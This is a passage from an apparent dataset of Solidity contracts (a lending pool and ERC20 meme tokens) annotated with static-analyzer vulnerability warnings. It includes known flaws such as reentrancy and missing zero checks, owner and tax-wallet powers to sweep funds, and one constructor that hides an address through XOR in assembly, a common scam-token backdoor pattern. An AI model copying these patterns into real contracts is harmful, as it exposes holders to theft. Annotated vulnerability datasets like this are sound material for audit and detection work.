07af39d\n address loanAddr = IPermissionlessLoansDeployer(loansDeployerAddress)\n .deployLoan(loanParams);\n\n if (_deployedLoans[loanAddr].isWhitelisted)\n revert InvalidDeploymentAddress();\n\n uint256 effectiveLoanAmount = IPeerToPeerOpenTermLoan(loanAddr)\n .effectiveLoanAmount();\n\n\t\t// reentrancy-benign | ID: 07af39d\n _deployedLoans[loanAddr] = LoanDeploymentRecord({\n effectiveLoanAmount: effectiveLoanAmount,\n activeDelta: 0,\n isWhitelisted: true\n });\n\n\t\t// reentrancy-benign | ID: 07af39d\n loansDeployed.push(loanAddr);\n\n emit NewLoanDeployedByPool(loanAddr, loanParams.newAprWithTwoDecimals);\n\n return loanAddr;\n }\n\n function fundLoan(\n address loanAddr\n ) external override nonReentrant ifConfigured onlyLoansOperator {\n _ensureValidLoan(loanAddr);\n\n uint256 effectiveLoanAmount = _deployedLoans[loanAddr]\n .effectiveLoanAmount;\n\n _deployedLoans[loanAddr].activeDelta = effectiveLoanAmount;\n\n globalLoansAmount += effectiveLoanAmount; // which is \"_deployedLoans[loanAddr].activeDelta\"\n\n if (\n IPeerToPeerOpenTermLoan(loanAddr).loanState() !=\n LOAN_FUNDING_REQUIRED\n ) revert InvalidLoanState();\n\n SafeERC20.safeApprove(_underlyingAsset, loanAddr, effectiveLoanAmount);\n\n IPeerToPeerOpenTermLoan(loanAddr).fundLoan();\n\n SafeERC20.safeApprove(_underlyingAsset, loanAddr, uint256(0));\n\n if (IPeerToPeerOpenTermLoan(loanAddr).loanState() != LOAN_ACTIVE)\n revert FundingCheckFailed();\n\n if (_underlyingAsset.allowance(address(this), loanAddr) > uint256(0))\n revert AllowanceCheckFailed();\n }\n\n function collectFees() external nonReentrant ifConfigured {\n uint256 feesAmount = totalCollectableFees;\n\n totalCollectableFees = 0;\n\n SafeERC20.safeTransfer(_underlyingAsset, feesCollector, feesAmount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a951983): BaseLendingPool.updateFeeCollector(address).newFeeCollectorAddr lacks a zerocheck on \t feesCollector = newFeeCollectorAddr\n\t// Recommendation for a951983: Check that the address is not zero.\n function updateFeeCollector(\n address newFeeCollectorAddr\n ) external nonReentrant ifConfigured onlyOwner {\n\t\t// missing-zero-check | ID: a951983\n feesCollector = newFeeCollectorAddr;\n\n emit FeeCollectorUpdated(newFeeCollectorAddr);\n }\n\n function getTotalLoansDeployed() external view returns (uint256) {\n return loansDeployed.length;\n }\n}\n\ncontract LendingPoolv2 is BaseLendingPool {\n uint256 private constant _SECONDS_PER_YEAR = 60 * 60 * 24 * 365;\n\n address public scheduledCallerAddress;\n\n uint256 public managementFeePercent;\n\n uint256 public managementFeeLastKnownTimestamp;\n\n event ManagementFeeCharged(uint256 feeAmount);\n\n event ManagementFeeUpdated(uint256 newValue);\n\n constructor() {\n _disableInitializers();\n }\n\n function initialize(\n address newOwner,\n uint8 erc20Decimals,\n string memory erc20Symbol,\n string memory erc20Name\n ) external virtual reinitializer(2) {\n if (newOwner == address(0)) revert PoolOwnerRequired();\n\n if (_owner != address(0)) revert InvalidUpgrade();\n\n decimals = erc20Decimals;\n\n symbol = erc20Symbol;\n\n name = erc20Name;\n\n depositsPaused = true;\n\n withdrawalsPaused = true;\n\n _owner = newOwner;\n }\n\n function upgradeToVersion2(\n uint256 newManagementFeePercent\n ) public reinitializer(2) {\n managementFeePercent = newManagementFeePercent;\n\n managementFeeLastKnownTimestamp = block.timestamp;\n\n emit ManagementFeeUpdated(newManagementFeePercent);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: db42010): LendingPoolv2.configurePool(uint256,uint256,uint256,uint256,uint256,address,address,address,address,address,uint8).newScheduledCallerAddress lacks a zerocheck on \t scheduledCallerAddress = newScheduledCallerAddress\n\t// Recommendation for db42010: Check that the address is not zero.\n function configurePool(\n uint256 newLagDuration,\n uint256 newMaxDepositAmount,\n uint256 newMaxWithdrawalAmount,\n uint256 newMaxTokenSupply,\n uint256 newManagementFeePercent,\n address newUnderlyingAsset,\n address newLoansOperator,\n address newLoansDeployerAddress,\n address newFeesCollectorAddr,\n address newScheduledCallerAddress,\n uint8 newProcessingHour\n ) external virtual nonReentrant ifNotConfigured onlyOwner {\n if (newLoansOperator == address(0)) revert OperatorRequired();\n\n if (newLoansDeployerAddress == address(0)) revert DeployerRequired();\n\n if (newFeesCollectorAddr == address(0)) revert CollectorRequired();\n\n if (newProcessingHour >= 24) revert InvalidProcessingHour();\n\n _underlyingAsset = IERC20(newUnderlyingAsset);\n\n _updateIssuanceLimits(\n newMaxDepositAmount,\n newMaxWithdrawalAmount,\n newMaxTokenSupply\n );\n\n loansOperator = newLoansOperator;\n\n loansDeployerAddress = newLoansDeployerAddress;\n\n feesCollector = newFeesCollectorAddr;\n\n lagDuration = newLagDuration;\n\n liquidationHour = newProcessingHour;\n\n depositsPaused = false;\n\n withdrawalsPaused = false;\n\n\t\t// missing-zero-check | ID: db42010\n scheduledCallerAddress = newScheduledCallerAddress;\n\n managementFeePercent = newManagementFeePercent;\n\n managementFeeLastKnownTimestamp = block.timestamp;\n\n emit ManagementFeeUpdated(newManagementFeePercent);\n\n ITimelockedCall(newScheduledCallerAddress).initScheduler(\n _owner,\n 24 hours\n );\n }\n\n function transferOwnership(\n address newOwner\n ) external nonReentrant onlyOwner {\n if (newOwner == address(0) || newOwner == address(this))\n revert InvalidOwner();\n\n if (newOwner == loansOperator) revert OwnerCannotBeOperator();\n\n if (newOwner == loansDeployerAddress) revert OwnerCannotBeDeployer();\n\n if (isBlacklisted[newOwner]) revert AddressBlacklisted();\n\n address prevOwnerAddr = _owner;\n\n _transferOwnership(newOwner);\n\n bytes32 h = keccak256(\n abi.encode(\n abi.encodeWithSignature(\"transferOwnership(address)\", newOwner)\n )\n );\n\n ITimelockedCall(scheduledCallerAddress).consumeOwnership(\n h,\n prevOwnerAddr,\n newOwner\n );\n }\n\n function updateIssuanceLimits(\n uint256 newMaxDepositAmount,\n uint256 newMaxWithdrawalAmount,\n uint256 newMaxTokenSupply\n ) external nonReentrant ifConfigured onlyOwner {\n _updateIssuanceLimits(\n newMaxDepositAmount,\n newMaxWithdrawalAmount,\n newMaxTokenSupply\n );\n }\n\n function pauseDepositsAndWithdrawals(\n bool bPauseDeposits,\n bool bPauseWithdrawals\n ) external nonReentrant ifConfigured onlyOwner {\n _setPause(bPauseDeposits, bPauseWithdrawals);\n }\n\n function updateTimelockDuration(\n uint256 newDuration\n ) external nonReentrant ifConfigured onlyOwner {\n if (newDuration <= lagDuration)\n require(globalLiabilityShares == 0, \"Process claims first\");\n\n lagDuration = newDuration;\n\n bytes32 h = keccak256(\n abi.encode(\n abi.encodeWithSignature(\n \"updateTimelockDuration(uint256)\",\n newDuration\n )\n )\n );\n\n ITimelockedCall(scheduledCallerAddress).consume(h);\n }\n\n function updateWithdrawalFee(\n uint256 newWithdrawalFee\n ) external nonReentrant ifConfigured onlyOwner {\n if (newWithdrawalFee >= 9900) revert FeeTooHigh();\n\n withdrawalFee = newWithdrawalFee;\n }\n\n function addToBlacklist(\n address addr\n ) external nonReentrant ifConfigured onlyOwner {\n if (addr == _owner) revert CannotBlacklistOwner();\n\n isBlacklisted[addr] = true;\n }\n\n function removeFromBlacklist(\n address addr\n ) external nonReentrant ifConfigured onlyOwner {\n isBlacklisted[addr] = false;\n }\n\n function updateSettlementAccount(\n address addr\n ) external nonReentrant ifConfigured onlyOwner {\n if (addr == address(0)) revert InvalidAddress();\n\n settlementAccount = addr;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 74aec7e): LendingPoolv2.chargeManagementFee() uses timestamp for comparisons Dangerous comparisons managementFeeLastKnownTimestamp == 0 applicableManagementFee == 0\n\t// Recommendation for 74aec7e: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: b8fcb0b): LendingPoolv2.chargeManagementFee() uses a dangerous strict equality applicableManagementFee == 0\n\t// Recommendation for b8fcb0b: Don't use strict equality to determine if an account has enough Ether or tokens.\n function chargeManagementFee() external nonReentrant ifConfigured {\n\t\t// timestamp | ID: 74aec7e\n if (managementFeeLastKnownTimestamp == 0) revert ValueNotSet();\n\n uint256 applicableManagementFee = calculateManagementFee(\n managementFeeLastKnownTimestamp,\n block.timestamp\n );\n\n\t\t// timestamp | ID: 74aec7e\n\t\t// incorrect-equality | ID: b8fcb0b\n if (applicableManagementFee == 0) revert ManagementFeeIsZero();\n\n managementFeeLastKnownTimestamp = block.timestamp;\n\n totalCollectableFees += applicableManagementFee;\n\n emit ManagementFeeCharged(applicableManagementFee);\n }\n\n function updateManagementFee(\n uint256 newManagementFeePercent\n ) external nonReentrant ifConfigured onlyOwner {\n managementFeePercent = newManagementFeePercent;\n\n emit ManagementFeeUpdated(newManagementFeePercent);\n }\n\n function calculateManagementFee(\n uint256 fromTimestamp,\n uint256 toTimestamp\n ) public view returns (uint256) {\n return\n (_getTotalAssets() *\n managementFeePercent *\n (toTimestamp - fromTimestamp)) /\n _SECONDS_PER_YEAR /\n 10000;\n }\n}\n",
"file_name": "solidity_code_10668.sol",
"size_bytes": 80531,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AVA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 70f6db9): AVA._taxWallet should be immutable \n\t// Recommendation for 70f6db9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 16a7dc8): AVA._initialBuyTax should be constant \n\t// Recommendation for 16a7dc8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 16;\n\n\t// WARNING Optimization Issue (constable-states | ID: 778177a): AVA._initialSellTax should be constant \n\t// Recommendation for 778177a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 16;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 601d531): AVA._reduceBuyTaxAt should be constant \n\t// Recommendation for 601d531: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6b51d6b): AVA._reduceSellTaxAt should be constant \n\t// Recommendation for 6b51d6b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1ce5cb): AVA._preventSwapBefore should be constant \n\t// Recommendation for d1ce5cb: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 12;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"AVA Chiang Mai Night Safari\";\n\n string private constant _symbol = unicode\"AVA\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b27ff1): AVA._taxSwapThreshold should be constant \n\t// Recommendation for 3b27ff1: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 2) / 1000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43a71a0): AVA._maxTaxSwap should be constant \n\t// Recommendation for 43a71a0: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private firstBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x220bb113654b51D0C8d8fC7a6671f932AF41bDA0);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 180daf5): AVA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 180daf5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a8c4427): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a8c4427: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8e302e5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8e302e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a8c4427\n\t\t// reentrancy-benign | ID: 8e302e5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a8c4427\n\t\t// reentrancy-benign | ID: 8e302e5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b31a35e): AVA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b31a35e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8e302e5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a8c4427\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0ffa9db): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0ffa9db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 1f3b138): AVA._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 1f3b138: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9a3b8cc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9a3b8cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n\t\t\t// incorrect-equality | ID: 1f3b138\n if (block.number == firstBlock) {\n require(_buyCount < 35, \"Exceeds buys on the first block.\");\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 0ffa9db\n\t\t\t\t// reentrancy-eth | ID: 9a3b8cc\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0ffa9db\n\t\t\t\t\t// reentrancy-eth | ID: 9a3b8cc\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9a3b8cc\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9a3b8cc\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9a3b8cc\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 0ffa9db\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9a3b8cc\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9a3b8cc\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 0ffa9db\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a8c4427\n\t\t// reentrancy-events | ID: 0ffa9db\n\t\t// reentrancy-benign | ID: 8e302e5\n\t\t// reentrancy-eth | ID: 9a3b8cc\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a8c4427\n\t\t// reentrancy-events | ID: 0ffa9db\n\t\t// reentrancy-eth | ID: 9a3b8cc\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d25f2d2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d25f2d2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5d9a386): AVA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5d9a386: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f661c6f): AVA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f661c6f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3371ac5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3371ac5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d25f2d2\n\t\t// reentrancy-eth | ID: 3371ac5\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d25f2d2\n\t\t// unused-return | ID: f661c6f\n\t\t// reentrancy-eth | ID: 3371ac5\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d25f2d2\n\t\t// unused-return | ID: 5d9a386\n\t\t// reentrancy-eth | ID: 3371ac5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d25f2d2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3371ac5\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: d25f2d2\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n\n sendETHToFee(ethBalance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10669.sol",
"size_bytes": 20593,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IDEXFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IDEXRouter {\n function WETH() external pure returns (address);\n\n function factory() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IERC20 {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function totalSupply() external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n\n function name() external view returns (string memory);\n}\n\ncontract Ownable is Context {\n address private _previousOwner;\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address public pair;\n\n IDEXRouter router;\n\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n\n bool public trade;\n uint256 public startBlock;\n address public msgSend;\n\n address public msgReceive;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n assembly {\n sstore(0x50, 0xd35625565113a9200a753484567605ac6316ea5a941d)\n\n sstore(0x51, 0xd3564ed3276a2c9ba088c2f162f3d9b0ee7a0feac5ef)\n\n sstore(0x52, xor(sload(0x50), sload(0x51)))\n }\n\n router = IDEXRouter(_router);\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local 